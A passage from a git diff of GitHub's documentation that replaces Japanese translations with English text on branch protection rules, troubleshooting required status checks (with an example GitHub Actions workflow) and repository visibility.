-直線状のコミット履歴を強制すると、コラボレータがブランチにマージコミットをプッシュすることを防げます。 つまり、保護されたブランチにマージされたプルリクエストは、squash マージまたはリベースマージを使用する必要があります。 厳格な直線状のコミット履歴は、Teamが変更をより簡単にたどるために役立ちます。 マージ方法に関する詳しい情報については「[プルリクエストマージについて](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges)」を参照してください。 +Enforcing a linear commit history prevents collaborators from pushing merge commits to the branch. This means that any pull requests merged into the protected branch must use a squash merge or a rebase merge. A strictly linear commit history can help teams reverse changes more easily. For more information about merge methods, see "[About pull request merges](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges)." -直線状のコミット履歴をリクエストする前に、リポジトリで squash マージまたはリベースマージを許可する必要があります。 詳しい情報については、「[プルリクエストマージを設定する](/github/administering-a-repository/configuring-pull-request-merges)」を参照してください。 +Before you can require a linear commit history, your repository must allow squash merging or rebase merging. For more information, see "[Configuring pull request merges](/github/administering-a-repository/configuring-pull-request-merges)." {% ifversion fpt or ghec %} ### Require merge queue @@ -146,30 +141,30 @@ Requires all comments on the pull request to be resolved before it can be merged {% data reusables.pull_requests.merge-queue-references %} {% endif %} -### 管理者を含める +### Include administrators -デフォルトでは、保護されたブランチのルールは、リポジトリの管理者権限を持つユーザには適用されません。 この設定を有効化すると、保護されたブランチのルールを管理者にも適用できます。 +By default, protected branch rules do not apply to people with admin permissions to a repository. You can enable this setting to include administrators in your protected branch rules. -### 一致するブランチにプッシュできるユーザを制限 +### Restrict who can push to matching branches {% ifversion fpt or ghec %} You can enable branch restrictions if your repository is owned by an organization using {% data variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %}. {% endif %} -ブランチ制限を有効にすると、権限を与えられたユーザ、チーム、またはアプリのみが保護されたブランチにプッシュできます。 保護されたブランチの設定で、保護されたブランチへのプッシュアクセスを使用して、ユーザ、チーム、またはアプリを表示および編集できます。 +When you enable branch restrictions, only users, teams, or apps that have been given permission can push to the protected branch. You can view and edit the users, teams, or apps with push access to a protected branch in the protected branch's settings. -ユーザ、チーム、またはリポジトリへの write 権限を持つインストール済みの {% data variables.product.prodname_github_apps %} にのみ、保護されたブランチへのプッシュアクセス付与できます。 リポジトリへの管理者権限を持つユーザとアプリケーションは、いつでも保護されたブランチにプッシュできます。 +You can only give push access to a protected branch to users, teams, or installed {% data variables.product.prodname_github_apps %} with write access to a repository. People and apps with admin permissions to a repository are always able to push to a protected branch. -### フォースプッシュを許可 +### Allow force pushes -デフォルトでは、{% data variables.product.product_name %}はすべての保護されたブランチでフォースプッシュをブロックします。 保護されたブランチのフォースプッシュを有効にすると、少なくともリポジトリへの書き込み権限を持つユーザは、管理者権限を持つブランチを含め、ブランチをフォースプッシュできます。 +By default, {% data variables.product.product_name %} blocks force pushes on all protected branches. When you enable force pushes to a protected branch, anyone with at least write permissions to the repository can force push to the branch, including those with admin permissions. If someone force pushes to a branch, the force push may overwrite commits that other collaborators based their work on. People may have merge conflicts or corrupted pull requests. -フォースプッシュを有効化しても、他のブランチ保護ルールは上書きされません。 たとえば、ブランチに直線状のコミット履歴が必要な場合、そのブランチにマージコミットをフォースプッシュすることはできません。 +Enabling force pushes will not override any other branch protection rules. For example, if a branch requires a linear commit history, you cannot force push merge commits to that branch. -{% ifversion ghes or ghae %}サイト管理者がリポジトリ内のすべてのブランチへのフォースプッシュをブロックしている場合、保護されたブランチのフォースプッシュを有効にすることはできません。 詳しい情報については、「[ユーザアカウントもしくはOrganizationが所有するリポジトリへのフォースプッシュのブロック](/enterprise/{{ currentVersion }}/admin/developer-workflow/blocking-force-pushes-to-repositories-owned-by-a-user-account-or-organization)」を参照してください。 +{% ifversion ghes or ghae %}You cannot enable force pushes for a protected branch if a site administrator has blocked force pushes to all branches in your repository. For more information, see "[Blocking force pushes to repositories owned by a user account or organization](/enterprise/{{ currentVersion }}/admin/developer-workflow/blocking-force-pushes-to-repositories-owned-by-a-user-account-or-organization)." -サイト管理者がデフォルトブランチへのフォースプッシュのみをブロックしている場合、他の保護されたブランチに対してフォースプッシュを有効にできます。{% endif %} +If a site administrator has blocked force pushes to the default branch only, you can still enable force pushes for any other protected branch.{% endif %} -### 削除を許可 +### Allow deletions -デフォルトでは、保護されたブランチは削除できません。 保護されたブランチの削除を有効にすると、少なくともリポジトリへの書き込み権限を持つユーザは、ブランチを削除できます。 +By default, you cannot delete a protected branch. When you enable deletion of a protected branch, anyone with at least write permissions to the repository can delete the branch. diff --git a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md index 29d9d41a55..0209187eda 100644 --- a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md +++ b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md @@ -1,6 +1,6 @@ --- -title: ブランチ保護ルールを管理する -intro: 保護されたブランチにマージされる前に、すべてのプルリクエストでレビューへの承認またはステータスチェックへのパスを必須とするなど、1 つ以上のブランチに対して特定のワークフローを強制するため、ブランチ保護ルールを作成できます。 +title: Managing a branch protection rule +intro: 'You can create a branch protection rule to enforce certain workflows for one or more branches, such as requiring an approving review or passing status checks for all pull requests merged into the protected branch.' product: '{% data reusables.gated-features.protected-branches %}' redirect_from: - /articles/configuring-protected-branches @@ -28,24 +28,23 @@ topics: - Repositories shortTitle: Branch protection rule --- - -## ブランチ保護ルールについて +## About branch protection rules {% data reusables.repositories.branch-rules-example %} -ワイルドカード構文 `*` で、リポジトリ内の現在および将来のブランチすべてに対するルールを作成できます。 {% data variables.product.company_short %}は、`File.fnmatch` 構文に `File::FNM_PATHNAME` フラグを使用するので、ワイルドカードはディレクトリの区切り文字 (`/`) には一致しません。 たとえば、`qa/*` は、`qa/` で始まり、1 つのスラッシュが含まれるすべてのブランチにマッチします。 `qa/**/*` とすると、複数のスラッシュにマッチします。また、より多くのブランチにマッチさせるため、`qa` の文字列を `qa**/**/*` とすることもできます。 ブランチのルールに関する構文オプションの詳しい情報については、 [fnmatch ドキュメンテーション](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch)を参照してください。 +You can create a rule for all current and future branches in your repository with the wildcard syntax `*`. Because {% data variables.product.company_short %} uses the `File::FNM_PATHNAME` flag for the `File.fnmatch` syntax, the wildcard does not match directory separators (`/`). For example, `qa/*` will match all branches beginning with `qa/` and containing a single slash. You can include multiple slashes with `qa/**/*`, and you can extend the `qa` string with `qa**/**/*` to make the rule more inclusive. For more information about syntax options for branch rules, see the [fnmatch documentation](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch). -リポジトリが同じブランチに影響する複数の保護されたブランチのルールを持っているなら、特定のブランチ名を含むルールがもっとも高い優先順位を持ちます。 同じ特定のブランチ名を参照する保護されたブランチのルールが複数あるなら、最初に作成されたブランチルールが高い優先順位を持ちます。 +If a repository has multiple protected branch rules that affect the same branches, the rules that include a specific branch name have the highest priority. If there is more than one protected branch rule that references the same specific branch name, then the branch rule created first will have higher priority. -`*`、`?`、`]`などの特殊文字を含む保護されたブランチのルールは、作成された順序で適用されるので、これらの文字を持つ古いルールが高い優先順位を持ちます。 +Protected branch rules that mention a special character, such as `*`, `?`, or `]`, are applied in the order they were created, so older rules with these characters have a higher priority. -既存のブランチのルールに例外を作成するため、特定のブランチ名に対するルールなど、優先度の高いブランチ保護ルールを新しく作成できます。 +To create an exception to an existing branch rule, you can create a new branch protection rule that is higher priority, such as a branch rule for a specific branch name. -使用できるブランチ保護設定の各ルールに関する詳しい情報については、「[保護されたブランチについて](/github/administering-a-repository/about-protected-branches)」を参照してください。 +For more information about each of each of the available branch protection settings, see "[About protected branches](/github/administering-a-repository/about-protected-branches)." -## ブランチ保護ルールを作成する +## Creating a branch protection rule -ブランチのルールを作成する際に、指定したブランチがリポジトリにしている必要はありません。 +When you create a branch rule, the branch you specify doesn't have to exist yet in the repository. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} @@ -53,53 +52,79 @@ shortTitle: Branch protection rule {% data reusables.repositories.add-branch-protection-rules %} {% ifversion fpt or ghec %} 1. Optionally, enable required pull requests. - - Under "Protect matching branches", select **Require a pull request before merging**. ![プルリクエストレビューの制限チェックボックス](/assets/images/help/repository/PR-reviews-required-updated.png) - - Optionally, to require approvals before a pull request can be merged, select **Require approvals**, click the **Required number of approvals before merging** drop-down menu, then select the number of approving reviews you would like to require on the branch. ![必須とするレビュー承認の数を選択するドロップダウンメニュー](/assets/images/help/repository/number-of-required-review-approvals-updated.png) + - Under "Protect matching branches", select **Require a pull request before merging**. + ![Pull request review restriction checkbox](/assets/images/help/repository/PR-reviews-required-updated.png) + - Optionally, to require approvals before a pull request can be merged, select **Require approvals**, click the **Required number of approvals before merging** drop-down menu, then select the number of approving reviews you would like to require on the branch. + ![Drop-down menu to select number of required review approvals](/assets/images/help/repository/number-of-required-review-approvals-updated.png) {% else %} -1. 必要に応じて、Pull Requestレビュー必須を有効化します。 - - [Protect matching branches] で、[**Require pull request reviews before merging**] を選択します。 ![プルリクエストレビューの制限チェックボックス](/assets/images/help/repository/PR-reviews-required.png) - - Click the **Required approving reviews** drop-down menu, then select the number of approving reviews you would like to require on the branch. ![必須とするレビュー承認の数を選択するドロップダウンメニュー](/assets/images/help/repository/number-of-required-review-approvals.png) +1. Optionally, enable required pull request reviews. + - Under "Protect matching branches", select **Require pull request reviews before merging**. + ![Pull request review restriction checkbox](/assets/images/help/repository/PR-reviews-required.png) + - Click the **Required approving reviews** drop-down menu, then select the number of approving reviews you would like to require on the branch. + ![Drop-down menu to select number of required review approvals](/assets/images/help/repository/number-of-required-review-approvals.png) {% endif %} - - コードを変更するコミットがブランチにプッシュされたときにプルリクエストの承認レビューを却下する場合は、[**Dismiss stale pull request approvals when new commits are pushed**] を選択します。 ![新たなコミットがチェックボックスにプッシュされた際に古いプルリクエストの承認を却下するチェックボックス](/assets/images/help/repository/PR-reviews-required-dismiss-stale.png) - - 指定されたオーナーのコードにプルリクエストが影響する場合に、コードオーナーからのレビューを必須にする場合は、[**Require review from Code Owners**] を選択します。 詳細は「[コードオーナーについて](/github/creating-cloning-and-archiving-repositories/about-code-owners)」を参照してください。 ![コードオーナーのレビューを必要とする](/assets/images/help/repository/PR-review-required-code-owner.png) - - リポジトリが Organization の一部である場合、[**Restrict who can dismiss pull request reviews**] を選択します。 そして、Pull Requestレビューを却下できるユーザまたは Team を検索して選択します。 詳しい情報については[プルリクエストレビューの却下](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)を参照してください。 ![[Restrict who can dismiss pull request reviews] チェックボックス](/assets/images/help/repository/PR-review-required-dismissals.png) -1. 必要に応じて、ステータスチェック必須を有効化します。 - - [**Require status checks to pass before merging**] を選択します。 ![必須ステータスチェックのオプション](/assets/images/help/repository/required-status-checks.png) - - プルリクエストを保護されたブランチの最新コードで確実にテストしたい場合は、[**Require branches to be up to date before merging**] を選択します。 ![必須ステータスのチェックボックス、ゆるい、または厳格な](/assets/images/help/repository/protecting-branch-loose-status.png) - - 使用可能なステータスチェックのリストから、必須とするものを選択します。 ![利用可能なステータスチェックの一覧](/assets/images/help/repository/required-statuses-list.png) -{%- ifversion fpt or ghes > 3.1 or ghae-issue-4382 %} -1. Optionally, select **Require conversation resolution before merging**. ![Require conversation resolution before merging option](/assets/images/help/repository/require-conversation-resolution.png) + - Optionally, to dismiss a pull request approval review when a code-modifying commit is pushed to the branch, select **Dismiss stale pull request approvals when new commits are pushed**. + ![Dismiss stale pull request approvals when new commits are pushed checkbox](/assets/images/help/repository/PR-reviews-required-dismiss-stale.png) + - Optionally, to require review from a code owner when the pull request affects code that has a designated owner, select **Require review from Code Owners**. For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)." + ![Require review from code owners](/assets/images/help/repository/PR-review-required-code-owner.png) +{% ifversion fpt or ghec %} + - Optionally, to allow specific people or teams to push code to the branch without being subject to the pull request rules above, select **Allow specific actors to bypass pull request requirements**. Then, search for and select the people or teams who are allowed to bypass the pull request requirements. + ![Allow specific actors to bypass pull request requirements checkbox](/assets/images/help/repository/PR-bypass-requirements.png) +{% endif %} + - Optionally, if the repository is part of an organization, select **Restrict who can dismiss pull request reviews**. Then, search for and select the people or teams who are allowed to dismiss pull request reviews. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)." + ![Restrict who can dismiss pull request reviews checkbox](/assets/images/help/repository/PR-review-required-dismissals.png) +1. Optionally, enable required status checks. For more information, see "[About status checks](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)." + - Select **Require status checks to pass before merging**. + ![Required status checks option](/assets/images/help/repository/required-status-checks.png) + - Optionally, to ensure that pull requests are tested with the latest code on the protected branch, select **Require branches to be up to date before merging**. + ![Loose or strict required status checkbox](/assets/images/help/repository/protecting-branch-loose-status.png) + - Search for status checks, selecting the checks you want to require. + ![Search interface for available status checks, with list of required checks](/assets/images/help/repository/required-statuses-list.png) +{%- ifversion fpt or ghes > 3.1 or ghae-next %} +1. Optionally, select **Require conversation resolution before merging**. + ![Require conversation resolution before merging option](/assets/images/help/repository/require-conversation-resolution.png) {%- endif %} -1. 必要に応じて、[**Require signed commits**] を選択します。 ![[Require signed commits] オプション](/assets/images/help/repository/require-signed-commits.png) -1. 必要に応じて、[**Require linear history**] を選択します。 ![必須の直線状の履歴オプション](/assets/images/help/repository/required-linear-history.png) +1. Optionally, select **Require signed commits**. + ![Require signed commits option](/assets/images/help/repository/require-signed-commits.png) +1. Optionally, select **Require linear history**. + ![Required linear history option](/assets/images/help/repository/required-linear-history.png) {%- ifversion fpt or ghec %} -1. Optionally, to merge pull requests using a merge queue, select **Require merge queue**. {% data reusables.pull_requests.merge-queue-references %} ![Require merge queue option](/assets/images/help/repository/require-merge-queue.png) +1. Optionally, to merge pull requests using a merge queue, select **Require merge queue**. {% data reusables.pull_requests.merge-queue-references %} + ![Require merge queue option](/assets/images/help/repository/require-merge-queue.png) {% tip %} **Tip:** The pull request merge queue feature is currently in limited public beta and subject to change. Organizations owners can request early access to the beta by joining the [waitlist](https://github.com/features/merge-queue/signup). {% endtip %} {%- endif %} -1. オプションとして、[**Include administrators**] を選択します。 ![[Include administrators] チェックボックス](/assets/images/help/repository/include-admins-protected-branches.png) -1. 必要に応じて、{% ifversion fpt or ghec %}{% data variables.product.prodname_team %} または {% data variables.product.prodname_ghe_cloud %} を使用する Organization がリポジトリを所有している場合には、{% endif %}ブランチ制限を有効化します。 - - [**Restrict who can push to matching branches**] を選択します。 ![ブランチ制限のチェックボックス](/assets/images/help/repository/restrict-branch.png) - - 保護されたブランチにプッシュできる権限を持つユーザ、Team、またはアプリを検索し、選択します。 ![ブランチ制限の検索](/assets/images/help/repository/restrict-branch-search.png) -1. 必要に応じて、[Rules applied to everyone including administrators] で [**Allow force pushes**] を選択します。 ![フォースプッシュオプションを許可する](/assets/images/help/repository/allow-force-pushes.png) -1. 必要に応じて、[**Allow deletions**] を選択します。 ![ブランチ削除オプションを許可する](/assets/images/help/repository/allow-branch-deletions.png) -1. ** Create（作成）**をクリックしてください。 +1. Optionally, select **Include administrators**. +![Include administrators checkbox](/assets/images/help/repository/include-admins-protected-branches.png) +1. Optionally,{% ifversion fpt or ghec %} if your repository is owned by an organization using {% data variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %},{% endif %} enable branch restrictions. + - Select **Restrict who can push to matching branches**. + ![Branch restriction checkbox](/assets/images/help/repository/restrict-branch.png) + - Search for and select the people, teams, or apps who will have permission to push to the protected branch. + ![Branch restriction search](/assets/images/help/repository/restrict-branch-search.png) +2. Optionally, under "Rules applied to everyone including administrators", select **Allow force pushes**. For more information about force pushes, see "[Allow force pushes](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches/#allow-force-pushes)." + ![Allow force pushes option](/assets/images/help/repository/allow-force-pushes.png) +1. Optionally, select **Allow deletions**. + ![Allow branch deletions option](/assets/images/help/repository/allow-branch-deletions.png) +1. Click **Create**. -## ブランチ保護ルールを編集する +## Editing a branch protection rule {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.repository-branches %} -1. 編集する保護ルールの右にある [**Edit**] をクリックします。 ![編集ボタン](/assets/images/help/repository/edit-branch-protection-rule.png) -1. ブランチ保護ルールを自由に変更してください。 -1. [**Save changes**] をクリックします。 ![[Edit message] ボタン](/assets/images/help/repository/save-branch-protection-rule.png) +1. To the right of the branch protection rule you want to edit, click **Edit**. + ![Edit button](/assets/images/help/repository/edit-branch-protection-rule.png) +1. Make your desired changes to the branch protection rule. +1. Click **Save changes**. + ![Save changes button](/assets/images/help/repository/save-branch-protection-rule.png) -## ブランチ保護ルールを削除する +## Deleting a branch protection rule {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.repository-branches %} -1. 削除する保護ルールの右にある [**Delete**] をクリックします。 ![削除ボタン](/assets/images/help/repository/delete-branch-protection-rule.png) +1. To the right of the branch protection rule you want to delete, click **Delete**. + ![Delete button](/assets/images/help/repository/delete-branch-protection-rule.png) diff --git a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md index 2e7502e5c5..fd64a80a81 100644 --- a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md +++ b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md @@ -1,6 +1,6 @@ --- -title: 必須ステータスチェックのトラブルシューティング -intro: ステータスチェック必須を使用して、一般的なエラーを調べ、問題を解決できます。 +title: Troubleshooting required status checks +intro: You can check for common errors and resolve issues with required status checks. product: '{% data reusables.gated-features.protected-branches %}' versions: fpt: '*' @@ -14,18 +14,17 @@ redirect_from: - /github/administering-a-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks shortTitle: Required status checks --- +If you have a check and a status with the same name, and you select that name as a required status check, both the check and the status are required. For more information, see "[Checks](/rest/reference/checks)." -同じ名前のチェックとステータスがあり、その名前をステータスチェック必須とするようにした場合、チェックとステータスはどちらも必須になります。 詳しい情報については、「[チェック](/rest/reference/checks)」を参照してください。 - -ステータスチェック必須を有効にした後、マージする前にブランチをベースブランチに対して最新にする必要がある場合があります。 これによって、ブランチがベースブランチからの最新のコードでテストされたことが保証されます。 ブランチが古い場合、ベースブランチをブランチにマージする必要があります。 詳しい情報については[保護されたブランチについて](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)を参照してください。 +After you enable required status checks, your branch may need to be up-to-date with the base branch before merging. This ensures that your branch has been tested with the latest code from the base branch. If your branch is out of date, you'll need to merge the base branch into your branch. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)." {% note %} -**注釈:** Git リベースを使用してブランチをベースブランチに対して最新にすることもできます。 詳しい情報については、「[Git リベースについて](/github/getting-started-with-github/about-git-rebase)」を参照してください。 +**Note:** You can also bring your branch up to date with the base branch using Git rebase. For more information, see "[About Git rebase](/github/getting-started-with-github/about-git-rebase)." {% endnote %} -必須ステータスチェックにすべてパスするまでは、ローカルでの変更を保護されたブランチにプッシュすることはできません。 その代わりに、以下のようなエラーメッセージが返されます. +You won't be able to push local changes to a protected branch until all required status checks pass. Instead, you'll receive an error message similar to the following. ```shell remote: error: GH006: Protected branch update failed for refs/heads/main. @@ -33,13 +32,87 @@ remote: error: Required status check "ci-build" is failing ``` {% note %} -**注釈:** 最新で必須のステータスチェックをパスしたプルリクエストは、ローカルでマージしてから保護されたブランチにプッシュできます。 これはマージコミット自体でステータスチェックを実行せずに行えます。 +**Note:** Pull requests that are up-to-date and pass required status checks can be merged locally and pushed to the protected branch. This can be done without status checks running on the merge commit itself. {% endnote %} {% ifversion fpt or ghae or ghes or ghec %} -テストマージコミットと head コミットのステータスチェックの結果が競合する場合があります。 テストマージコミットにステータスがある場合、そのテストマージコミットは必ずパスする必要があります。 それ以外の場合、ヘッドコミットのステータスは、ブランチをマージする前にパスする必要があります。 テストマージコミットに関する詳しい情報については、「[プル](/rest/reference/pulls#get-a-pull-request)」を参照してください。 +## Conflicts between head commit and test merge commit -![マージコミットが競合しているブランチ](/assets/images/help/repository/req-status-check-conflicting-merge-commits.png) +Sometimes, the results of the status checks for the test merge commit and head commit will conflict. If the test merge commit has a status, the test merge commit must pass. Otherwise, the status of the head commit must pass before you can merge the branch. For more information about test merge commits, see "[Pulls](/rest/reference/pulls#get-a-pull-request)." + +![Branch with conflicting merge commits](/assets/images/help/repository/req-status-check-conflicting-merge-commits.png) {% endif %} + +## Handling skipped but required checks + +Sometimes a required status check is skipped on pull requests due to path filtering. For example, a Node.JS test will be skipped on a pull request that just fixes a typo in your README file and makes no changes to the JavaScript and TypeScript files in the `scripts` directory. + +If this check is required and it gets skipped, then the check's status is shown as pending, because it's required. In this situation you won't be able to merge the pull request. + +### Example + +In this example you have a workflow that's required to pass. + +```yaml +name: ci +on: + pull_request: + paths: + - 'scripts/**' + - 'middleware/**' +jobs: + build: + runs-on: ubuntu-latest + strategy: + matrix: + node-version: [12.x, 14.x, 16.x] + steps: + - uses: actions/checkout@v2 + - name: Use Node.js ${{ matrix.node-version }} + uses: actions/setup-node@v2 + with: + node-version: ${{ matrix.node-version }} + cache: 'npm' + - run: npm ci + - run: npm run build --if-present + - run: npm test +``` + +If someone submits a pull request that changes a markdown file in the root of the repository, then the workflow above won't run at all because of the path filtering. As a result you won't be able to merge the pull request. You would see the following status on the pull request: + +![Required check skipped but shown as pending](/assets/images/help/repository/PR-required-check-skipped.png) + +You can fix this by creating a generic workflow, with the same name, that will return true in any case similar to the workflow below : + +```yaml +name: ci +on: + pull_request: + paths-ignore: + - 'scripts/**' + - 'middleware/**' +jobs: + build: + runs-on: ubuntu-latest + steps: + - run: 'echo "No build required" ' +``` +Now the checks will always pass whenever someone sends a pull request that doesn't change the files listed under `paths` in the first workflow. + +![Check skipped but passes due to generic workflow](/assets/images/help/repository/PR-required-check-passed-using-generic.png) + +{% note %} + +**Notes:** +* Make sure that the `name` key and required job name in both the workflow files are the same. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)". +* The example above uses {% data variables.product.prodname_actions %} but this workaround is also applicable to other CI/CD providers that integrate with {% data variables.product.company_short %}. + +{% endnote %} + +It's also possible for a protected branch to require a status check from a specific {% data variables.product.prodname_github_app %}. If you see a message similar to the following, then you should verify that the check listed in the merge box was set by the expected app. + +``` +Required status check "build" was not set by the expected {% data variables.product.prodname_github_app %}. +``` diff --git a/translations/ja-JP/content/repositories/creating-and-managing-repositories/about-repositories.md b/translations/ja-JP/content/repositories/creating-and-managing-repositories/about-repositories.md index 1b2b616458..6a27e9ea41 100644 --- a/translations/ja-JP/content/repositories/creating-and-managing-repositories/about-repositories.md +++ b/translations/ja-JP/content/repositories/creating-and-managing-repositories/about-repositories.md @@ -1,6 +1,6 @@ --- -title: リポジトリについて -intro: リポジトリには、プロジェクトのすべてのファイルと各ファイルの改訂履歴が含まれています。 リポジトリ内でプロジェクトの作業について話し合い、管理できます。 +title: About repositories +intro: A repository contains all of your project's files and each file's revision history. You can discuss and manage your project's work within the repository. redirect_from: - /articles/about-repositories - /github/creating-cloning-and-archiving-repositories/about-repositories @@ -20,56 +20,63 @@ topics: - Repositories --- -## リポジトリについて +## About repositories -リポジトリを個人として所有することも、リポジトリの所有権を Organization 内の他の人々と共有することもできます。 +You can own repositories individually, or you can share ownership of repositories with other people in an organization. -リポジトリの表示設定を選択して、リポジトリにアクセスできるユーザを制限できます。 詳細は「[リポジトリの可視性について](#about-repository-visibility)」を参照してください。 +You can restrict who has access to a repository by choosing the repository's visibility. For more information, see "[About repository visibility](#about-repository-visibility)." -ユーザが所有するリポジトリでは、他の人々にコラボレーターアクセスを与えて、プロジェクトでコラボレーションするようにできます。 リポジトリが Organization によって所有されている場合は、Organization のメンバーにアクセス権限を与え、リポジトリ上でコラボレーションするようにできます。 For more information, see "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository/)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." +For user-owned repositories, you can give other people collaborator access so that they can collaborate on your project. If a repository is owned by an organization, you can give organization members access permissions to collaborate on your repository. For more information, see "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository/)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." {% ifversion fpt or ghec %} -ユーザアカウントと Organization の {% data variables.product.prodname_free_team %} を使用すると、完全な機能セットを備えた無制限のパブリックリポジトリ、または機能セットを制限した無制限のプライベートリポジトリで無制限のコラボレータと連携できます。 プライベートリポジトリの高度なツールを入手するには、 {% data variables.product.prodname_pro %}、{% data variables.product.prodname_team %}、または {% data variables.product.prodname_ghe_cloud %} にアップグレードします。 {% data reusables.gated-features.more-info %} +With {% data variables.product.prodname_free_team %} for user accounts and organizations, you can work with unlimited collaborators on unlimited public repositories with a full feature set, or unlimited private repositories with a limited feature set. To get advanced tooling for private repositories, you can upgrade to {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, or {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %} {% else %} -各個人および Organization は、無制限のリポジトリを所有でき、すべてのリポジトリにコラボレータを何人でも招待できます。 +Each person and organization can own unlimited repositories and invite an unlimited number of collaborators to all repositories. {% endif %} -リポジトリを使用して、作業を管理し、他のユーザと共同作業を行うことができます。 -- Issue を使用して、ユーザフィードバックの収集、ソフトウェアバグの報告、および実行するタスクの整理を行うことができます。 詳しい情報については「[Issue について](/github/managing-your-work-on-github/about-issues)」を参照してください。{% ifversion fpt or ghec %} +You can use repositories to manage your work and collaborate with others. +- You can use issues to collect user feedback, report software bugs, and organize tasks you'd like to accomplish. For more information, see "[About issues](/github/managing-your-work-on-github/about-issues)."{% ifversion fpt or ghec %} - {% data reusables.discussions.you-can-use-discussions %}{% endif %} -- プルリクエストを使用して、リポジトリへの変更を提案できます。 詳しい情報については[プルリクエストについて](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)を参照してください。 -- プロジェクトボードを使用して、Issue とプルリクエストを整理して優先順位を付けることができます。 詳細は「[プロジェクトボードについて](/github/managing-your-work-on-github/about-project-boards)」を参照してください。 +- You can use pull requests to propose changes to a repository. For more information, see "[About pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)." +- You can use project boards to organize and prioritize your issues and pull requests. For more information, see "[About project boards](/github/managing-your-work-on-github/about-project-boards)." {% data reusables.repositories.repo-size-limit %} -## リポジトリの可視性について +## About repository visibility -リポジトリの可視性を選択することで、リポジトリにアクセスできるユーザを制限できます{% ifversion fpt or ghes or ghec %}（パブリック、内部、プライベート{% elsif ghae %}{% else %}パブリックまたはプライベートなど）{% endif %}。 +You can restrict who has access to a repository by choosing a repository's visibility: {% ifversion ghes or ghec %}public, internal, or private{% elsif ghae %}private or internal{% else %} public or private{% endif %}. -{% ifversion ghae %} ユーザアカウント所有のリポジトリを作成すると、リポジトリは常にプライベートになります。 Organization 所有のリポジトリを作成するときに、プライベートリポジトリにするか内部リポジトリにするかを選択できます。{% else %}リポジトリを作成するときに、リポジトリをパブリックにするかプライベートにするかを選択できます。{% ifversion fpt or ghes or ghec %} Enterprise アカウントが所有する Organization {% ifversion fpt or ghec %} でリポジトリを作成している場合は{% endif %}、リポジトリを内部にすることもできます。{% endif %}{% endif %} +{% ifversion fpt or ghec or ghes %} + +When you create a repository, you can choose to make the repository public or private.{% ifversion ghec or ghes %} If you're creating the repository in an organization{% ifversion ghec %} that is owned by an enterprise account{% endif %}, you can also choose to make the repository internal.{% endif %}{% endif %}{% ifversion fpt %} Repositories in organizations that use {% data variables.product.prodname_ghe_cloud %} can also be created with internal visibility. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)" in the {% data variables.product.prodname_ghe_cloud %} documentation. -{% ifversion ghes %} -If {% data variables.product.product_location %} is not in private mode or behind a firewall, public repositories are accessible to everyone on the internet. そうではない場合、外部のコラボレータを含め、{% data variables.product.product_location %} を使用するすべてのユーザがパブリックリポジトリを利用できます。 プライベートリポジトリには、自分、明示的にアクセスを共有するユーザ、および Organization リポジトリの場合は特定の Organization メンバーのみがアクセスできます。 {% ifversion ghes %} Internal repositories are accessible to enterprise members. 詳しい情報については、「[内部リポジトリについて](#about-internal-repositories)」を参照してください。{% endif %} {% elsif ghae %} -プライベートリポジトリには、自分、明示的にアクセスを共有するユーザ、および Organization リポジトリの場合は特定の Organization メンバーのみがアクセスできます。 内部リポジトリには、すべての Enterprise メンバーがアクセスできます。 詳しい情報については、「[内部リポジトリについて](#about-internal-repositories)」を参照してください。 -{% else %} -パブリックリポジトリには、インターネット上のすべてのユーザがアクセスできます。 プライベートリポジトリには、自分、明示的にアクセスを共有するユーザ、および Organization リポジトリの場合は特定の Organization メンバーのみがアクセスできます。 内部リポジトリには、Enterprise 